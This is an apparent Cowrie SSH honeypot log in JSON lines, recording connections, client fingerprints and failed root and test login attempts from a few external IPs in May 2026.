{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":33173,"dst_ip":"10.17.0.5","dst_port":22,"session":"66803ad5a358","protocol":"ssh","message":"New connection: 168.167.228.74:33173 (10.17.0.5:22) [session: 66803ad5a358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:09:50.251338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:09:50.255965Z","src_ip":"168.167.228.74","session":"66803ad5a358","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:09:50.513744Z","src_ip":"168.167.228.74","session":"66803ad5a358","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxc","message":"login attempt [root/zxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:09:51.579290Z","src_ip":"168.167.228.74","session":"66803ad5a358","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:09:52.845645Z","src_ip":"168.167.228.74","session":"66803ad5a358","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.142.43.122","src_port":53344,"dst_ip":"10.17.0.5","dst_port":22,"session":"85a54ca76f46","protocol":"ssh","message":"New connection: 193.142.43.122:53344 (10.17.0.5:22) [session: 85a54ca76f46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:10:57.831457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:10:57.836857Z","src_ip":"193.142.43.122","session":"85a54ca76f46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:10:57.928385Z","src_ip":"193.142.43.122","session":"85a54ca76f46","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"89:94:8d:ac:2b:ef:7e:6b:b2:db:95:45:37:0d:29:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDH/TBBV7oDWpDoE2Pr5Ee39R7Uz/v0qf8SaMgru5ohQ149Z6sl6F6L851R5DBDe3DoRCH5/zilv4mtXz8JCFxOplJFPiZ4yxEFB5kbg7e5KxA7LLY19ZyZfWm3e6lTtuBhqHL9n/sCVOC2c5QcCUkXokCjYhh3qbtxNvF+LqSZ/T4LLiCJhc4c+4p9MFG5nYzp9+g5vNjzQ/00IkIfwvOYqLofTEtKqPERdu8iPl/gPnvpkA1SLs9hTA8vbymGBoMps5K7UGqHa9eDYAurEkfS3tBQqSWEP8B35bdBW242fw9zmH6XCPcDN5zWST6vYUZmudrfCcr23nWN4oXq31/B","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 89:94:8d:ac:2b:ef:7e:6b:b2:db:95:45:37:0d:29:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:10:58.360381Z","src_ip":"193.142.43.122","session":"85a54ca76f46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"89:94:8d:ac:2b:ef:7e:6b:b2:db:95:45:37:0d:29:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDH/TBBV7oDWpDoE2Pr5Ee39R7Uz/v0qf8SaMgru5ohQ149Z6sl6F6L851R5DBDe3DoRCH5/zilv4mtXz8JCFxOplJFPiZ4yxEFB5kbg7e5KxA7LLY19ZyZfWm3e6lTtuBhqHL9n/sCVOC2c5QcCUkXokCjYhh3qbtxNvF+LqSZ/T4LLiCJhc4c+4p9MFG5nYzp9+g5vNjzQ/00IkIfwvOYqLofTEtKqPERdu8iPl/gPnvpkA1SLs9hTA8vbymGBoMps5K7UGqHa9eDYAurEkfS3tBQqSWEP8B35bdBW242fw9zmH6XCPcDN5zWST6vYUZmudrfCcr23nWN4oXq31/B","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:10:58.364045Z","src_ip":"193.142.43.122","session":"85a54ca76f46","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:33:82:08:27:da:66:8f:f2:05:87:bb:44:5b:94:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDq9FDf3aOx5L1LltFv1S/r/+WAswQ2+7r+GoDvbNS1tV5frJ552hfW4UD5Bk1AdNoUBFb6Jn1OhDz5BjcuQnHOk0axjzk6Mpv+e5oyPs63sHLy/yJFpHu6rESmHEp3Fn/uJFmudx/Ig6H28K46hFBGYQjYUpDsAS8Mie2nQ2bLEeadC/QXZvTwYWM27yUwShrSFIRe1iuJ0GRqJiT2oQ1jfSEc4vKmUDdBRoAxAvhd0hFZ0u4OZsZXEDWV7o+LROWJJOwd7y1ti6tbXEhrngTnHfNusU4oTp33LJzbqtaiBiqKoPQfUS4fA6dKGVc5lxtgMXv5KXh97gff3v80Dh57oc+VEaC1eSoQZy3cSJ6RXoB3k+GyctFEcGooSyXErSd9ai//LxtrlRTzAnNL2BduG5X+yBqk/SAF0diXVx6Mz0LLFByqXC5wqwbI2Fw+ts/I5DCVkM53cl8OZL0vtVT97thENhM1GJxh40e/IdPA7yiM/vloCVRXm/eYlw6CdWBK6vepSOWOIu/PASuJnGVWTRti5yflFOpg6q2Zkv3poN2V/435hR50kQieBb0lOLP3eehdCLElUtXQ8UQK8+MifoPtEZJauvN9N5eaVITnaCxwz2jeUxmcE97SAj/jHL1pqx4L38aXbhiGhlpU9Leg11igcVTj9GfOewQq1gaAgw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:33:82:08:27:da:66:8f:f2:05:87:bb:44:5b:94:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:10:58.456126Z","src_ip":"193.142.43.122","session":"85a54ca76f46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:33:82:08:27:da:66:8f:f2:05:87:bb:44:5b:94:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDq9FDf3aOx5L1LltFv1S/r/+WAswQ2+7r+GoDvbNS1tV5frJ552hfW4UD5Bk1AdNoUBFb6Jn1OhDz5BjcuQnHOk0axjzk6Mpv+e5oyPs63sHLy/yJFpHu6rESmHEp3Fn/uJFmudx/Ig6H28K46hFBGYQjYUpDsAS8Mie2nQ2bLEeadC/QXZvTwYWM27yUwShrSFIRe1iuJ0GRqJiT2oQ1jfSEc4vKmUDdBRoAxAvhd0hFZ0u4OZsZXEDWV7o+LROWJJOwd7y1ti6tbXEhrngTnHfNusU4oTp33LJzbqtaiBiqKoPQfUS4fA6dKGVc5lxtgMXv5KXh97gff3v80Dh57oc+VEaC1eSoQZy3cSJ6RXoB3k+GyctFEcGooSyXErSd9ai//LxtrlRTzAnNL2BduG5X+yBqk/SAF0diXVx6Mz0LLFByqXC5wqwbI2Fw+ts/I5DCVkM53cl8OZL0vtVT97thENhM1GJxh40e/IdPA7yiM/vloCVRXm/eYlw6CdWBK6vepSOWOIu/PASuJnGVWTRti5yflFOpg6q2Zkv3poN2V/435hR50kQieBb0lOLP3eehdCLElUtXQ8UQK8+MifoPtEZJauvN9N5eaVITnaCxwz2jeUxmcE97SAj/jHL1pqx4L38aXbhiGhlpU9Leg11igcVTj9GfOewQq1gaAgw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:10:58.459667Z","src_ip":"193.142.43.122","session":"85a54ca76f46","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:55:ec:30:23:6b:d1:6c:b4:ca:61:86:3c:9b:77:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9tI1++K55UWM1lUwmgn+ZFUyNOpgYNX6fF5odC1lP8hXttWLg3KRcArwItM+UKH95jAKWc3J3YrgcpuxEZCyxIlRigej+xW7M3pLRpSDl0KGUxhzZpEw8m6m0dCyNzk2VFR7oFi6/8I9Ap+TTy7smedYfbkEJEqW0if5YDa5iL2Mt3aNG4y3KoNk3ona7Wh3e+7FbJvnrpzlCE3dV8sMj/TeSEedxG3rZamWqO6ds1J6KDaASZ27RevM81rfkbLHTspc+4gDs6hjjwr39yaIV9PQb7Hyjw5pxP9m1xoOkbuSwP6Udl0rit3vLKsy16uUsOWPQ2plHuXqP/tHSc3nF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a8:55:ec:30:23:6b:d1:6c:b4:ca:61:86:3c:9b:77:27","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:10:58.550586Z","src_ip":"193.142.43.122","session":"85a54ca76f46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:55:ec:30:23:6b:d1:6c:b4:ca:61:86:3c:9b:77:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9tI1++K55UWM1lUwmgn+ZFUyNOpgYNX6fF5odC1lP8hXttWLg3KRcArwItM+UKH95jAKWc3J3YrgcpuxEZCyxIlRigej+xW7M3pLRpSDl0KGUxhzZpEw8m6m0dCyNzk2VFR7oFi6/8I9Ap+TTy7smedYfbkEJEqW0if5YDa5iL2Mt3aNG4y3KoNk3ona7Wh3e+7FbJvnrpzlCE3dV8sMj/TeSEedxG3rZamWqO6ds1J6KDaASZ27RevM81rfkbLHTspc+4gDs6hjjwr39yaIV9PQb7Hyjw5pxP9m1xoOkbuSwP6Udl0rit3vLKsy16uUsOWPQ2plHuXqP/tHSc3nF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:10:58.556557Z","src_ip":"193.142.43.122","session":"85a54ca76f46","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:3a:f2:50:e7:b0:f7:87:27:0e:e5:3a:fb:11:e9:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzqU+2HGGZiaJF8vM7VoeLfd7YVxXTotMELNi4luB25fRyQ5vDzhQTNUFlJkQj+QInjazukjN5wq0eQMBThaz/ajkmQWgq3bxwWBJiSkBvg3sHRF92x0pisU5Jcz1m2JJLRT3UgizNtbMtlkHD0HG//lQJbBjGklX3IJEBvPaZ5zchDyyKOmjDtWZSKLu67cprTv0ZDc3Eia/jaNFBS7llI5gS9EMULU7WFLJ3TDyRA7fb+vVJhn4EGpLWRm3Jnz7uFdFmDqg0AzPe5CC48QYKXDLNAFgsAMB79KCp96YaoyjdthTp5i/qjQdK9C8EephrJb+xacZZefzG9Xp7eF63Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:3a:f2:50:e7:b0:f7:87:27:0e:e5:3a:fb:11:e9:c4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:10:58.647874Z","src_ip":"193.142.43.122","session":"85a54ca76f46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:3a:f2:50:e7:b0:f7:87:27:0e:e5:3a:fb:11:e9:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzqU+2HGGZiaJF8vM7VoeLfd7YVxXTotMELNi4luB25fRyQ5vDzhQTNUFlJkQj+QInjazukjN5wq0eQMBThaz/ajkmQWgq3bxwWBJiSkBvg3sHRF92x0pisU5Jcz1m2JJLRT3UgizNtbMtlkHD0HG//lQJbBjGklX3IJEBvPaZ5zchDyyKOmjDtWZSKLu67cprTv0ZDc3Eia/jaNFBS7llI5gS9EMULU7WFLJ3TDyRA7fb+vVJhn4EGpLWRm3Jnz7uFdFmDqg0AzPe5CC48QYKXDLNAFgsAMB79KCp96YaoyjdthTp5i/qjQdK9C8EephrJb+xacZZefzG9Xp7eF63Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:10:58.650969Z","src_ip":"193.142.43.122","session":"85a54ca76f46","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cf:bb:ce:a1:66:1a:65:7c:d4:bd:20:ba:b2:3d:e6:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLvq3ClAQWgcKbZbi4rvq/I2f1rZEZ9J77W95ft0xYf3ny7icexPQvRwNDYWb10yXPqJC71forq4G+dsqbYqgtFrrxI8LnukSHBHJPnD5DFTPmiEmVnoXsEOuk5F66RmfNLMBuhBSAwYTXnB7zVKUcvz8EePam2wxYvAYdeqohST6fv71KbDCzLZk5SwpV+h//00Wq/oh6C2inEjR8ofUDHpWFhSMPcKPXeE96PEqMLA/u9cDFE1tLrIWJOH/dkUuRRp8ASGblHwgIscVTUt1/AJlRLtLQW54QlP7KHx+pnUZA+X17Ll0FBYVnQ/D8ryMZQ5Bt5lIxqybeyi4FsBhp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cf:bb:ce:a1:66:1a:65:7c:d4:bd:20:ba:b2:3d:e6:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:10:58.742340Z","src_ip":"193.142.43.122","session":"85a54ca76f46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cf:bb:ce:a1:66:1a:65:7c:d4:bd:20:ba:b2:3d:e6:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLvq3ClAQWgcKbZbi4rvq/I2f1rZEZ9J77W95ft0xYf3ny7icexPQvRwNDYWb10yXPqJC71forq4G+dsqbYqgtFrrxI8LnukSHBHJPnD5DFTPmiEmVnoXsEOuk5F66RmfNLMBuhBSAwYTXnB7zVKUcvz8EePam2wxYvAYdeqohST6fv71KbDCzLZk5SwpV+h//00Wq/oh6C2inEjR8ofUDHpWFhSMPcKPXeE96PEqMLA/u9cDFE1tLrIWJOH/dkUuRRp8ASGblHwgIscVTUt1/AJlRLtLQW54QlP7KHx+pnUZA+X17Ll0FBYVnQ/D8ryMZQ5Bt5lIxqybeyi4FsBhp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:10:58.745087Z","src_ip":"193.142.43.122","session":"85a54ca76f46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:10:58.835002Z","src_ip":"193.142.43.122","session":"85a54ca76f46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":33174,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ffab39e2a27","protocol":"ssh","message":"New connection: 168.167.228.74:33174 (10.17.0.5:22) [session: 1ffab39e2a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:11:01.479714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:11:01.484253Z","src_ip":"168.167.228.74","session":"1ffab39e2a27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:11:01.738056Z","src_ip":"168.167.228.74","session":"1ffab39e2a27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123qwe!@#","message":"login attempt [test/123qwe!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:11:02.785661Z","src_ip":"168.167.228.74","session":"1ffab39e2a27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:11:04.043230Z","src_ip":"168.167.228.74","session":"1ffab39e2a27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.243.51","src_port":47496,"dst_ip":"10.17.0.5","dst_port":22,"session":"42b1de72ae66","protocol":"ssh","message":"New connection: 208.87.243.51:47496 (10.17.0.5:22) [session: 42b1de72ae66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:11:12.202703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:11:12.210682Z","src_ip":"208.87.243.51","session":"42b1de72ae66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:11:12.286127Z","src_ip":"208.87.243.51","session":"42b1de72ae66","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"89:94:8d:ac:2b:ef:7e:6b:b2:db:95:45:37:0d:29:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDH/TBBV7oDWpDoE2Pr5Ee39R7Uz/v0qf8SaMgru5ohQ149Z6sl6F6L851R5DBDe3DoRCH5/zilv4mtXz8JCFxOplJFPiZ4yxEFB5kbg7e5KxA7LLY19ZyZfWm3e6lTtuBhqHL9n/sCVOC2c5QcCUkXokCjYhh3qbtxNvF+LqSZ/T4LLiCJhc4c+4p9MFG5nYzp9+g5vNjzQ/00IkIfwvOYqLofTEtKqPERdu8iPl/gPnvpkA1SLs9hTA8vbymGBoMps5K7UGqHa9eDYAurEkfS3tBQqSWEP8B35bdBW242fw9zmH6XCPcDN5zWST6vYUZmudrfCcr23nWN4oXq31/B","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 89:94:8d:ac:2b:ef:7e:6b:b2:db:95:45:37:0d:29:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:11:12.641362Z","src_ip":"208.87.243.51","session":"42b1de72ae66","protocol":"ssh"}
